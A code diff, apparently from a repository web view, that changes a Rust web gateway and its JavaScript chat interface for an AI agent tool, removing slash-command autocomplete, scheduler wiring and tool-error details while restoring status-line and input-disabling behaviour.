routine_id,
|
|
||||||
chrono::Utc::now().timestamp_millis()
|
|
||||||
);
|
|
||||||
let msg = IncomingMessage::new("gateway", &state.user_id, content).with_thread(thread_id);
|
|
||||||
|
|
||||||
let tx_guard = state.msg_tx.read().await;
|
let tx_guard = state.msg_tx.read().await;
|
||||||
let tx = tx_guard.as_ref().ok_or((
|
let tx = tx_guard.as_ref().ok_or((
|
||||||
|
|||||||
@@ -148,14 +148,7 @@ pub async fn skills_install_handler(
|
|||||||
.await
|
.await
|
||||||
.map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))?
|
.map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))?
|
||||||
} else if let Some(ref catalog) = state.skill_catalog {
|
} else if let Some(ref catalog) = state.skill_catalog {
|
||||||
// Prefer slug (e.g. "owner/skill-name") over display name for the
|
let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), &req.name);
|
||||||
// download URL, since the registry endpoint expects a slug.
|
|
||||||
let download_key = req
|
|
||||||
.slug
|
|
||||||
.as_deref()
|
|
||||||
.filter(|s| !s.is_empty())
|
|
||||||
.unwrap_or(&req.name);
|
|
||||||
let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), download_key);
|
|
||||||
crate::tools::builtin::skill_tools::fetch_skill_content(&url)
|
crate::tools::builtin::skill_tools::fetch_skill_content(&url)
|
||||||
.await
|
.await
|
||||||
.map_err(|e| (StatusCode::BAD_GATEWAY, e.to_string()))?
|
.map_err(|e| (StatusCode::BAD_GATEWAY, e.to_string()))?
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ use axum::{
|
|||||||
response::{Html, IntoResponse},
|
response::{Html, IntoResponse},
|
||||||
};
|
};
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::channels::web::types::*;
|
use crate::channels::web::types::*;
|
||||||
|
|
||||||
// --- Static file handlers ---
|
// --- Static file handlers ---
|
||||||
@@ -72,7 +71,11 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res
|
|||||||
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
|
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
|
||||||
}
|
}
|
||||||
|
|
||||||
let base = ironclaw_base_dir().join("projects").join(project_id);
|
let base = dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("projects")
|
||||||
|
.join(project_id);
|
||||||
|
|
||||||
let file_path = base.join(path);
|
let file_path = base.join(path);
|
||||||
|
|
||||||
|
|||||||
+4
-19
@@ -21,7 +21,6 @@ pub mod openai_compat;
|
|||||||
pub mod server;
|
pub mod server;
|
||||||
pub mod sse;
|
pub mod sse;
|
||||||
pub mod types;
|
pub mod types;
|
||||||
pub(crate) mod util;
|
|
||||||
pub mod ws;
|
pub mod ws;
|
||||||
|
|
||||||
use std::net::SocketAddr;
|
use std::net::SocketAddr;
|
||||||
@@ -84,7 +83,6 @@ impl GatewayChannel {
|
|||||||
store: None,
|
store: None,
|
||||||
job_manager: None,
|
job_manager: None,
|
||||||
prompt_queue: None,
|
prompt_queue: None,
|
||||||
scheduler: None,
|
|
||||||
user_id: config.user_id.clone(),
|
user_id: config.user_id.clone(),
|
||||||
shutdown_tx: tokio::sync::RwLock::new(None),
|
shutdown_tx: tokio::sync::RwLock::new(None),
|
||||||
ws_tracker: Some(Arc::new(ws::WsConnectionTracker::new())),
|
ws_tracker: Some(Arc::new(ws::WsConnectionTracker::new())),
|
||||||
@@ -95,6 +93,7 @@ impl GatewayChannel {
|
|||||||
registry_entries: Vec::new(),
|
registry_entries: Vec::new(),
|
||||||
cost_guard: None,
|
cost_guard: None,
|
||||||
startup_time: std::time::Instant::now(),
|
startup_time: std::time::Instant::now(),
|
||||||
|
restart_requested: std::sync::atomic::AtomicBool::new(false),
|
||||||
});
|
});
|
||||||
|
|
||||||
Self {
|
Self {
|
||||||
@@ -108,8 +107,7 @@ impl GatewayChannel {
|
|||||||
fn rebuild_state(&mut self, mutate: impl FnOnce(&mut GatewayState)) {
|
fn rebuild_state(&mut self, mutate: impl FnOnce(&mut GatewayState)) {
|
||||||
let mut new_state = GatewayState {
|
let mut new_state = GatewayState {
|
||||||
msg_tx: tokio::sync::RwLock::new(None),
|
msg_tx: tokio::sync::RwLock::new(None),
|
||||||
// Preserve the existing broadcast channel so sender handles remain valid.
|
sse: SseManager::new(),
|
||||||
sse: SseManager::from_sender(self.state.sse.sender()),
|
|
||||||
workspace: self.state.workspace.clone(),
|
workspace: self.state.workspace.clone(),
|
||||||
session_manager: self.state.session_manager.clone(),
|
session_manager: self.state.session_manager.clone(),
|
||||||
log_broadcaster: self.state.log_broadcaster.clone(),
|
log_broadcaster: self.state.log_broadcaster.clone(),
|
||||||
@@ -119,7 +117,6 @@ impl GatewayChannel {
|
|||||||
store: self.state.store.clone(),
|
store: self.state.store.clone(),
|
||||||
job_manager: self.state.job_manager.clone(),
|
job_manager: self.state.job_manager.clone(),
|
||||||
prompt_queue: self.state.prompt_queue.clone(),
|
prompt_queue: self.state.prompt_queue.clone(),
|
||||||
scheduler: self.state.scheduler.clone(),
|
|
||||||
user_id: self.state.user_id.clone(),
|
user_id: self.state.user_id.clone(),
|
||||||
shutdown_tx: tokio::sync::RwLock::new(None),
|
shutdown_tx: tokio::sync::RwLock::new(None),
|
||||||
ws_tracker: self.state.ws_tracker.clone(),
|
ws_tracker: self.state.ws_tracker.clone(),
|
||||||
@@ -130,6 +127,7 @@ impl GatewayChannel {
|
|||||||
registry_entries: self.state.registry_entries.clone(),
|
registry_entries: self.state.registry_entries.clone(),
|
||||||
cost_guard: self.state.cost_guard.clone(),
|
cost_guard: self.state.cost_guard.clone(),
|
||||||
startup_time: self.state.startup_time,
|
startup_time: self.state.startup_time,
|
||||||
|
restart_requested: std::sync::atomic::AtomicBool::new(false),
|
||||||
};
|
};
|
||||||
mutate(&mut new_state);
|
mutate(&mut new_state);
|
||||||
self.state = Arc::new(new_state);
|
self.state = Arc::new(new_state);
|
||||||
@@ -199,12 +197,6 @@ impl GatewayChannel {
|
|||||||
self
|
self
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Inject the scheduler for sending follow-up messages to agent jobs.
|
|
||||||
pub fn with_scheduler(mut self, slot: crate::tools::builtin::SchedulerSlot) -> Self {
|
|
||||||
self.rebuild_state(|s| s.scheduler = Some(slot));
|
|
||||||
self
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Inject the skill registry for skill management API.
|
/// Inject the skill registry for skill management API.
|
||||||
pub fn with_skill_registry(mut self, sr: Arc<std::sync::RwLock<SkillRegistry>>) -> Self {
|
pub fn with_skill_registry(mut self, sr: Arc<std::sync::RwLock<SkillRegistry>>) -> Self {
|
||||||
self.rebuild_state(|s| s.skill_registry = Some(sr));
|
self.rebuild_state(|s| s.skill_registry = Some(sr));
|
||||||
@@ -304,16 +296,9 @@ impl Channel for GatewayChannel {
|
|||||||
name,
|
name,
|
||||||
thread_id: thread_id.clone(),
|
thread_id: thread_id.clone(),
|
||||||
},
|
},
|
||||||
StatusUpdate::ToolCompleted {
|
StatusUpdate::ToolCompleted { name, success } => SseEvent::ToolCompleted {
|
||||||
name,
|
name,
|
||||||
success,
|
success,
|
||||||
error,
|
|
||||||
parameters,
|
|
||||||
} => SseEvent::ToolCompleted {
|
|
||||||
name,
|
|
||||||
success,
|
|
||||||
error,
|
|
||||||
parameters,
|
|
||||||
thread_id: thread_id.clone(),
|
thread_id: thread_id.clone(),
|
||||||
},
|
},
|
||||||
StatusUpdate::ToolResult { name, preview } => SseEvent::ToolResult {
|
StatusUpdate::ToolResult { name, preview } => SseEvent::ToolResult {
|
||||||
|
|||||||
+607
-619
File diff suppressed because it is too large
Load Diff
@@ -36,23 +36,6 @@ impl SseManager {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Create an SSE manager that reuses an existing broadcast sender.
|
|
||||||
///
|
|
||||||
/// This preserves the broadcast channel across `rebuild_state` calls so
|
|
||||||
/// that sender handles captured by other components remain valid.
|
|
||||||
///
|
|
||||||
/// **Important:** The connection counter is reset to zero. This method must
|
|
||||||
/// only be called before the server starts accepting connections (i.e.,
|
|
||||||
/// during startup wiring). Calling it after connections are established
|
|
||||||
/// will break connection tracking and allow exceeding `MAX_CONNECTIONS`.
|
|
||||||
pub fn from_sender(tx: broadcast::Sender<SseEvent>) -> Self {
|
|
||||||
Self {
|
|
||||||
tx,
|
|
||||||
connection_count: Arc::new(AtomicU64::new(0)),
|
|
||||||
max_connections: MAX_CONNECTIONS,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Broadcast an event to all connected clients.
|
/// Broadcast an event to all connected clients.
|
||||||
pub fn broadcast(&self, event: SseEvent) {
|
pub fn broadcast(&self, event: SseEvent) {
|
||||||
// Ignore send errors (no receivers is fine)
|
// Ignore send errors (no receivers is fine)
|
||||||
|
|||||||
+148
-319
@@ -16,31 +16,6 @@ let pairingPollInterval = null;
|
|||||||
const JOB_EVENTS_CAP = 500;
|
const JOB_EVENTS_CAP = 500;
|
||||||
const MEMORY_SEARCH_QUERY_MAX_LENGTH = 100;
|
const MEMORY_SEARCH_QUERY_MAX_LENGTH = 100;
|
||||||
|
|
||||||
// --- Slash Commands ---
|
|
||||||
|
|
||||||
const SLASH_COMMANDS = [
|
|
||||||
{ cmd: '/status', desc: 'Show all jobs, or /status <id> for one job' },
|
|
||||||
{ cmd: '/list', desc: 'List all jobs' },
|
|
||||||
{ cmd: '/cancel', desc: '/cancel <job-id> — cancel a running job' },
|
|
||||||
{ cmd: '/undo', desc: 'Revert the last turn' },
|
|
||||||
{ cmd: '/redo', desc: 'Re-apply an undone turn' },
|
|
||||||
{ cmd: '/compact', desc: 'Compress the context window' },
|
|
||||||
{ cmd: '/clear', desc: 'Clear thread and start fresh' },
|
|
||||||
{ cmd: '/interrupt', desc: 'Stop the current turn' },
|
|
||||||
{ cmd: '/heartbeat', desc: 'Trigger manual heartbeat check' },
|
|
||||||
{ cmd: '/summarize', desc: 'Summarize the current thread' },
|
|
||||||
{ cmd: '/suggest', desc: 'Suggest next steps' },
|
|
||||||
{ cmd: '/help', desc: 'Show help' },
|
|
||||||
{ cmd: '/version', desc: 'Show version info' },
|
|
||||||
{ cmd: '/tools', desc: 'List available tools' },
|
|
||||||
{ cmd: '/skills', desc: 'List installed skills' },
|
|
||||||
{ cmd: '/model', desc: 'Show or switch the LLM model' },
|
|
||||||
{ cmd: '/thread new', desc: 'Create a new conversation thread' },
|
|
||||||
];
|
|
||||||
|
|
||||||
let _slashSelected = -1;
|
|
||||||
let _slashMatches = [];
|
|
||||||
|
|
||||||
// --- Tool Activity State ---
|
// --- Tool Activity State ---
|
||||||
let _activeGroup = null;
|
let _activeGroup = null;
|
||||||
let _activeToolCards = {};
|
let _activeToolCards = {};
|
||||||
@@ -160,6 +135,7 @@ function connectSSE() {
|
|||||||
if (!isCurrentThread(data.thread_id)) return;
|
if (!isCurrentThread(data.thread_id)) return;
|
||||||
finalizeActivityGroup();
|
finalizeActivityGroup();
|
||||||
addMessage('assistant', data.content);
|
addMessage('assistant', data.content);
|
||||||
|
setStatus('');
|
||||||
enableChatInput();
|
enableChatInput();
|
||||||
// Refresh thread list so new titles appear after first message
|
// Refresh thread list so new titles appear after first message
|
||||||
loadThreads();
|
loadThreads();
|
||||||
@@ -180,7 +156,7 @@ function connectSSE() {
|
|||||||
eventSource.addEventListener('tool_completed', (e) => {
|
eventSource.addEventListener('tool_completed', (e) => {
|
||||||
const data = JSON.parse(e.data);
|
const data = JSON.parse(e.data);
|
||||||
if (!isCurrentThread(data.thread_id)) return;
|
if (!isCurrentThread(data.thread_id)) return;
|
||||||
completeToolCard(data.name, data.success, data.error, data.parameters);
|
completeToolCard(data.name, data.success);
|
||||||
});
|
});
|
||||||
|
|
||||||
eventSource.addEventListener('tool_result', (e) => {
|
eventSource.addEventListener('tool_result', (e) => {
|
||||||
@@ -199,10 +175,10 @@ function connectSSE() {
|
|||||||
eventSource.addEventListener('status', (e) => {
|
eventSource.addEventListener('status', (e) => {
|
||||||
const data = JSON.parse(e.data);
|
const data = JSON.parse(e.data);
|
||||||
if (!isCurrentThread(data.thread_id)) return;
|
if (!isCurrentThread(data.thread_id)) return;
|
||||||
|
setStatus(data.message);
|
||||||
// "Done" and "Awaiting approval" are terminal signals from the agent:
|
// "Done" and "Awaiting approval" are terminal signals from the agent:
|
||||||
// the agentic loop finished, so re-enable input as a safety net in case
|
// the agentic loop finished, so re-enable input as a safety net in case
|
||||||
// the response SSE event is empty or lost.
|
// the response SSE event is empty or lost.
|
||||||
// Status text is not displayed — inline activity cards handle visual feedback.
|
|
||||||
if (data.message === 'Done' || data.message === 'Awaiting approval') {
|
if (data.message === 'Done' || data.message === 'Awaiting approval') {
|
||||||
finalizeActivityGroup();
|
finalizeActivityGroup();
|
||||||
enableChatInput();
|
enableChatInput();
|
||||||
@@ -222,24 +198,13 @@ function connectSSE() {
|
|||||||
|
|
||||||
eventSource.addEventListener('auth_required', (e) => {
|
eventSource.addEventListener('auth_required', (e) => {
|
||||||
const data = JSON.parse(e.data);
|
const data = JSON.parse(e.data);
|
||||||
if (data.auth_url) {
|
showAuthCard(data);
|
||||||
// OAuth flow: show the auth card with an OAuth button + optional token paste field.
|
|
||||||
showAuthCard(data);
|
|
||||||
} else {
|
|
||||||
// Setup flow: fetch the extension's credential schema and show the multi-field
|
|
||||||
// configure modal (the same UI used by the Extensions tab "Setup" button).
|
|
||||||
showConfigureModal(data.extension_name);
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
|
|
||||||
eventSource.addEventListener('auth_completed', (e) => {
|
eventSource.addEventListener('auth_completed', (e) => {
|
||||||
const data = JSON.parse(e.data);
|
const data = JSON.parse(e.data);
|
||||||
// Dismiss whichever UI path was active: auth card (OAuth) or configure modal (setup).
|
|
||||||
removeAuthCard(data.extension_name);
|
removeAuthCard(data.extension_name);
|
||||||
closeConfigureModal();
|
showToast(data.message, 'success');
|
||||||
showToast(data.message, data.success ? 'success' : 'error');
|
|
||||||
// Refresh extensions list so status indicators update
|
|
||||||
if (currentTab === 'extensions') loadExtensions();
|
|
||||||
enableChatInput();
|
enableChatInput();
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -299,8 +264,10 @@ function isCurrentThread(threadId) {
|
|||||||
|
|
||||||
function sendMessage() {
|
function sendMessage() {
|
||||||
const input = document.getElementById('chat-input');
|
const input = document.getElementById('chat-input');
|
||||||
|
const sendBtn = document.getElementById('send-btn');
|
||||||
if (!currentThreadId) {
|
if (!currentThreadId) {
|
||||||
console.warn('sendMessage: no thread selected, ignoring');
|
console.warn('sendMessage: no thread selected, ignoring');
|
||||||
|
setStatus('Waiting for thread to load...');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const content = input.value.trim();
|
const content = input.value.trim();
|
||||||
@@ -309,82 +276,27 @@ function sendMessage() {
|
|||||||
addMessage('user', content);
|
addMessage('user', content);
|
||||||
input.value = '';
|
input.value = '';
|
||||||
autoResizeTextarea(input);
|
autoResizeTextarea(input);
|
||||||
input.focus();
|
sendBtn.disabled = true;
|
||||||
|
input.disabled = true;
|
||||||
|
|
||||||
apiFetch('/api/chat/send', {
|
apiFetch('/api/chat/send', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: { content, thread_id: currentThreadId || undefined },
|
body: { content, thread_id: currentThreadId || undefined },
|
||||||
}).catch((err) => {
|
}).catch((err) => {
|
||||||
addMessage('system', 'Failed to send: ' + err.message);
|
addMessage('system', 'Failed to send: ' + err.message);
|
||||||
|
setStatus('');
|
||||||
|
enableChatInput();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function enableChatInput() {
|
function enableChatInput() {
|
||||||
// no-op: input and send button are always enabled
|
// Don't re-enable until a thread is selected (prevents orphan messages)
|
||||||
}
|
if (!currentThreadId) return;
|
||||||
|
|
||||||
// --- Slash Autocomplete ---
|
|
||||||
|
|
||||||
function showSlashAutocomplete(matches) {
|
|
||||||
const el = document.getElementById('slash-autocomplete');
|
|
||||||
if (!el || matches.length === 0) { hideSlashAutocomplete(); return; }
|
|
||||||
_slashMatches = matches;
|
|
||||||
_slashSelected = -1;
|
|
||||||
el.innerHTML = '';
|
|
||||||
matches.forEach((item, i) => {
|
|
||||||
const row = document.createElement('div');
|
|
||||||
row.className = 'slash-ac-item';
|
|
||||||
row.dataset.index = i;
|
|
||||||
var cmdSpan = document.createElement('span');
|
|
||||||
cmdSpan.className = 'slash-ac-cmd';
|
|
||||||
cmdSpan.textContent = item.cmd;
|
|
||||||
var descSpan = document.createElement('span');
|
|
||||||
descSpan.className = 'slash-ac-desc';
|
|
||||||
descSpan.textContent = item.desc;
|
|
||||||
row.appendChild(cmdSpan);
|
|
||||||
row.appendChild(descSpan);
|
|
||||||
row.addEventListener('mousedown', (e) => {
|
|
||||||
e.preventDefault(); // prevent blur
|
|
||||||
selectSlashItem(item.cmd);
|
|
||||||
});
|
|
||||||
el.appendChild(row);
|
|
||||||
});
|
|
||||||
el.style.display = 'block';
|
|
||||||
}
|
|
||||||
|
|
||||||
function hideSlashAutocomplete() {
|
|
||||||
const el = document.getElementById('slash-autocomplete');
|
|
||||||
if (el) el.style.display = 'none';
|
|
||||||
_slashSelected = -1;
|
|
||||||
_slashMatches = [];
|
|
||||||
}
|
|
||||||
|
|
||||||
function selectSlashItem(cmd) {
|
|
||||||
const input = document.getElementById('chat-input');
|
const input = document.getElementById('chat-input');
|
||||||
input.value = cmd + ' ';
|
const sendBtn = document.getElementById('send-btn');
|
||||||
|
sendBtn.disabled = false;
|
||||||
|
input.disabled = false;
|
||||||
input.focus();
|
input.focus();
|
||||||
hideSlashAutocomplete();
|
|
||||||
autoResizeTextarea(input);
|
|
||||||
}
|
|
||||||
|
|
||||||
function updateSlashHighlight() {
|
|
||||||
const items = document.querySelectorAll('#slash-autocomplete .slash-ac-item');
|
|
||||||
items.forEach((el, i) => el.classList.toggle('selected', i === _slashSelected));
|
|
||||||
if (_slashSelected >= 0 && items[_slashSelected]) {
|
|
||||||
items[_slashSelected].scrollIntoView({ block: 'nearest' });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function filterSlashCommands(value) {
|
|
||||||
if (!value.startsWith('/')) { hideSlashAutocomplete(); return; }
|
|
||||||
// Only show autocomplete when the input is just a slash command prefix (no spaces except /thread new)
|
|
||||||
const lower = value.toLowerCase();
|
|
||||||
const matches = SLASH_COMMANDS.filter((c) => c.cmd.startsWith(lower));
|
|
||||||
if (matches.length === 0 || (matches.length === 1 && matches[0].cmd === lower.trimEnd())) {
|
|
||||||
hideSlashAutocomplete();
|
|
||||||
} else {
|
|
||||||
showSlashAutocomplete(matches);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function sendApprovalAction(requestId, action) {
|
function sendApprovalAction(requestId, action) {
|
||||||
@@ -408,8 +320,6 @@ function sendApprovalAction(requestId, action) {
|
|||||||
const labelText = action === 'approve' ? 'Approved' : action === 'always' ? 'Always approved' : 'Denied';
|
const labelText = action === 'approve' ? 'Approved' : action === 'always' ? 'Always approved' : 'Denied';
|
||||||
label.textContent = labelText;
|
label.textContent = labelText;
|
||||||
actions.appendChild(label);
|
actions.appendChild(label);
|
||||||
// Remove the card after showing the confirmation briefly
|
|
||||||
setTimeout(() => { card.remove(); }, 1500);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -485,6 +395,15 @@ function appendToLastAssistant(chunk) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function setStatus(text) {
|
||||||
|
const el = document.getElementById('chat-status');
|
||||||
|
if (!text) {
|
||||||
|
el.innerHTML = '';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
el.innerHTML = escapeHtml(text);
|
||||||
|
}
|
||||||
|
|
||||||
// --- Inline Tool Activity Cards ---
|
// --- Inline Tool Activity Cards ---
|
||||||
|
|
||||||
function getOrCreateActivityGroup() {
|
function getOrCreateActivityGroup() {
|
||||||
@@ -595,7 +514,7 @@ function addToolCard(name) {
|
|||||||
container.scrollTop = container.scrollHeight;
|
container.scrollTop = container.scrollHeight;
|
||||||
}
|
}
|
||||||
|
|
||||||
function completeToolCard(name, success, error, parameters) {
|
function completeToolCard(name, success) {
|
||||||
const entries = _activeToolCards[name];
|
const entries = _activeToolCards[name];
|
||||||
if (!entries || entries.length === 0) return;
|
if (!entries || entries.length === 0) return;
|
||||||
// Find first running card
|
// Find first running card
|
||||||
@@ -616,27 +535,6 @@ function completeToolCard(name, success, error, parameters) {
|
|||||||
? '<span class="activity-icon-success">✓</span>'
|
? '<span class="activity-icon-success">✓</span>'
|
||||||
: '<span class="activity-icon-fail">✗</span>';
|
: '<span class="activity-icon-fail">✗</span>';
|
||||||
entry.card.setAttribute('data-status', success ? 'success' : 'fail');
|
entry.card.setAttribute('data-status', success ? 'success' : 'fail');
|
||||||
|
|
||||||
// For failed tools, populate the body with error details and auto-expand
|
|
||||||
if (!success && (error || parameters)) {
|
|
||||||
const output = entry.card.querySelector('.activity-tool-output');
|
|
||||||
if (output) {
|
|
||||||
let detail = '';
|
|
||||||
if (parameters) {
|
|
||||||
detail += 'Input:\n' + parameters + '\n\n';
|
|
||||||
}
|
|
||||||
if (error) {
|
|
||||||
detail += 'Error:\n' + error;
|
|
||||||
}
|
|
||||||
output.textContent = detail;
|
|
||||||
|
|
||||||
// Auto-expand so the error is immediately visible
|
|
||||||
const body = entry.card.querySelector('.activity-tool-body');
|
|
||||||
const chevron = entry.card.querySelector('.activity-tool-chevron');
|
|
||||||
if (body) body.style.display = 'block';
|
|
||||||
if (chevron) chevron.classList.add('expanded');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function setToolCardOutput(name, preview) {
|
function setToolCardOutput(name, preview) {
|
||||||
@@ -900,7 +798,7 @@ function showAuthCard(data) {
|
|||||||
|
|
||||||
const tokenInput = document.createElement('input');
|
const tokenInput = document.createElement('input');
|
||||||
tokenInput.type = 'password';
|
tokenInput.type = 'password';
|
||||||
tokenInput.placeholder = data.instructions || 'Paste your API key or token';
|
tokenInput.placeholder = 'Paste your API key or token';
|
||||||
tokenInput.addEventListener('keydown', (e) => {
|
tokenInput.addEventListener('keydown', (e) => {
|
||||||
if (e.key === 'Enter') submitAuthToken(data.extension_name, tokenInput.value);
|
if (e.key === 'Enter') submitAuthToken(data.extension_name, tokenInput.value);
|
||||||
});
|
});
|
||||||
@@ -1009,22 +907,10 @@ function loadHistory(before) {
|
|||||||
container.innerHTML = '';
|
container.innerHTML = '';
|
||||||
for (const turn of data.turns) {
|
for (const turn of data.turns) {
|
||||||
addMessage('user', turn.user_input);
|
addMessage('user', turn.user_input);
|
||||||
if (turn.tool_calls && turn.tool_calls.length > 0) {
|
|
||||||
addToolCallsSummary(turn.tool_calls);
|
|
||||||
}
|
|
||||||
if (turn.response) {
|
if (turn.response) {
|
||||||
addMessage('assistant', turn.response);
|
addMessage('assistant', turn.response);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Show processing indicator if the last turn is still in-progress
|
|
||||||
var lastTurn = data.turns.length > 0 ? data.turns[data.turns.length - 1] : null;
|
|
||||||
if (lastTurn && !lastTurn.response && lastTurn.state === 'Processing') {
|
|
||||||
showActivityThinking('Processing...');
|
|
||||||
}
|
|
||||||
// Re-render pending approval card if the thread is awaiting approval
|
|
||||||
if (data.pending_approval) {
|
|
||||||
showApproval(data.pending_approval);
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
// Pagination: prepend older messages
|
// Pagination: prepend older messages
|
||||||
const savedHeight = container.scrollHeight;
|
const savedHeight = container.scrollHeight;
|
||||||
@@ -1032,9 +918,6 @@ function loadHistory(before) {
|
|||||||
for (const turn of data.turns) {
|
for (const turn of data.turns) {
|
||||||
const userDiv = createMessageElement('user', turn.user_input);
|
const userDiv = createMessageElement('user', turn.user_input);
|
||||||
fragment.appendChild(userDiv);
|
fragment.appendChild(userDiv);
|
||||||
if (turn.tool_calls && turn.tool_calls.length > 0) {
|
|
||||||
fragment.appendChild(createToolCallsSummaryElement(turn.tool_calls));
|
|
||||||
}
|
|
||||||
if (turn.response) {
|
if (turn.response) {
|
||||||
const assistantDiv = createMessageElement('assistant', turn.response);
|
const assistantDiv = createMessageElement('assistant', turn.response);
|
||||||
fragment.appendChild(assistantDiv);
|
fragment.appendChild(assistantDiv);
|
||||||
@@ -1068,61 +951,6 @@ function createMessageElement(role, content) {
|
|||||||
return div;
|
return div;
|
||||||
}
|
}
|
||||||
|
|
||||||
function addToolCallsSummary(toolCalls) {
|
|
||||||
const container = document.getElementById('chat-messages');
|
|
||||||
container.appendChild(createToolCallsSummaryElement(toolCalls));
|
|
||||||
container.scrollTop = container.scrollHeight;
|
|
||||||
}
|
|
||||||
|
|
||||||
function createToolCallsSummaryElement(toolCalls) {
|
|
||||||
const div = document.createElement('div');
|
|
||||||
div.className = 'tool-calls-summary';
|
|
||||||
|
|
||||||
const header = document.createElement('div');
|
|
||||||
header.className = 'tool-calls-header';
|
|
||||||
header.textContent = toolCalls.length + ' tool' + (toolCalls.length !== 1 ? 's' : '') + ' used';
|
|
||||||
div.appendChild(header);
|
|
||||||
|
|
||||||
const list = document.createElement('div');
|
|
||||||
list.className = 'tool-calls-list';
|
|
||||||
|
|
||||||
for (const tc of toolCalls) {
|
|
||||||
const item = document.createElement('div');
|
|
||||||
item.className = 'tool-call-item' + (tc.has_error ? ' tool-error' : '');
|
|
||||||
|
|
||||||
const icon = tc.has_error ? '\u2717' : '\u2713';
|
|
||||||
const nameSpan = document.createElement('span');
|
|
||||||
nameSpan.className = 'tool-call-name';
|
|
||||||
nameSpan.textContent = icon + ' ' + tc.name;
|
|
||||||
item.appendChild(nameSpan);
|
|
||||||
|
|
||||||
if (tc.result_preview) {
|
|
||||||
const preview = document.createElement('div');
|
|
||||||
preview.className = 'tool-call-preview';
|
|
||||||
preview.textContent = tc.result_preview;
|
|
||||||
item.appendChild(preview);
|
|
||||||
}
|
|
||||||
if (tc.error) {
|
|
||||||
const errDiv = document.createElement('div');
|
|
||||||
errDiv.className = 'tool-call-error-text';
|
|
||||||
errDiv.textContent = tc.error;
|
|
||||||
item.appendChild(errDiv);
|
|
||||||
}
|
|
||||||
|
|
||||||
list.appendChild(item);
|
|
||||||
}
|
|
||||||
|
|
||||||
div.appendChild(list);
|
|
||||||
|
|
||||||
header.style.cursor = 'pointer';
|
|
||||||
header.addEventListener('click', () => {
|
|
||||||
list.classList.toggle('expanded');
|
|
||||||
header.classList.toggle('expanded');
|
|
||||||
});
|
|
||||||
|
|
||||||
return div;
|
|
||||||
}
|
|
||||||
|
|
||||||
function removeScrollSpinner() {
|
function removeScrollSpinner() {
|
||||||
const spinner = document.getElementById('scroll-load-spinner');
|
const spinner = document.getElementById('scroll-load-spinner');
|
||||||
if (spinner) spinner.remove();
|
if (spinner) spinner.remove();
|
||||||
@@ -1198,6 +1026,7 @@ function createNewThread() {
|
|||||||
apiFetch('/api/chat/thread/new', { method: 'POST' }).then((data) => {
|
apiFetch('/api/chat/thread/new', { method: 'POST' }).then((data) => {
|
||||||
currentThreadId = data.id || null;
|
currentThreadId = data.id || null;
|
||||||
document.getElementById('chat-messages').innerHTML = '';
|
document.getElementById('chat-messages').innerHTML = '';
|
||||||
|
setStatus('');
|
||||||
loadThreads();
|
loadThreads();
|
||||||
}).catch((err) => {
|
}).catch((err) => {
|
||||||
showToast('Failed to create thread: ' + err.message, 'error');
|
showToast('Failed to create thread: ' + err.message, 'error');
|
||||||
@@ -1214,50 +1043,16 @@ function toggleThreadSidebar() {
|
|||||||
// Chat input auto-resize and keyboard handling
|
// Chat input auto-resize and keyboard handling
|
||||||
const chatInput = document.getElementById('chat-input');
|
const chatInput = document.getElementById('chat-input');
|
||||||
chatInput.addEventListener('keydown', (e) => {
|
chatInput.addEventListener('keydown', (e) => {
|
||||||
const acEl = document.getElementById('slash-autocomplete');
|
|
||||||
const acVisible = acEl && acEl.style.display !== 'none';
|
|
||||||
|
|
||||||
if (acVisible) {
|
|
||||||
const items = acEl.querySelectorAll('.slash-ac-item');
|
|
||||||
if (e.key === 'ArrowDown') {
|
|
||||||
e.preventDefault();
|
|
||||||
_slashSelected = Math.min(_slashSelected + 1, items.length - 1);
|
|
||||||
updateSlashHighlight();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (e.key === 'ArrowUp') {
|
|
||||||
e.preventDefault();
|
|
||||||
_slashSelected = Math.max(_slashSelected - 1, -1);
|
|
||||||
updateSlashHighlight();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (e.key === 'Tab' || e.key === 'Enter') {
|
|
||||||
e.preventDefault();
|
|
||||||
const pick = _slashSelected >= 0 ? _slashMatches[_slashSelected] : _slashMatches[0];
|
|
||||||
if (pick) selectSlashItem(pick.cmd);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (e.key === 'Escape') {
|
|
||||||
e.preventDefault();
|
|
||||||
hideSlashAutocomplete();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (e.key === 'Enter' && !e.shiftKey) {
|
if (e.key === 'Enter' && !e.shiftKey) {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
hideSlashAutocomplete();
|
|
||||||
sendMessage();
|
sendMessage();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
chatInput.addEventListener('input', () => {
|
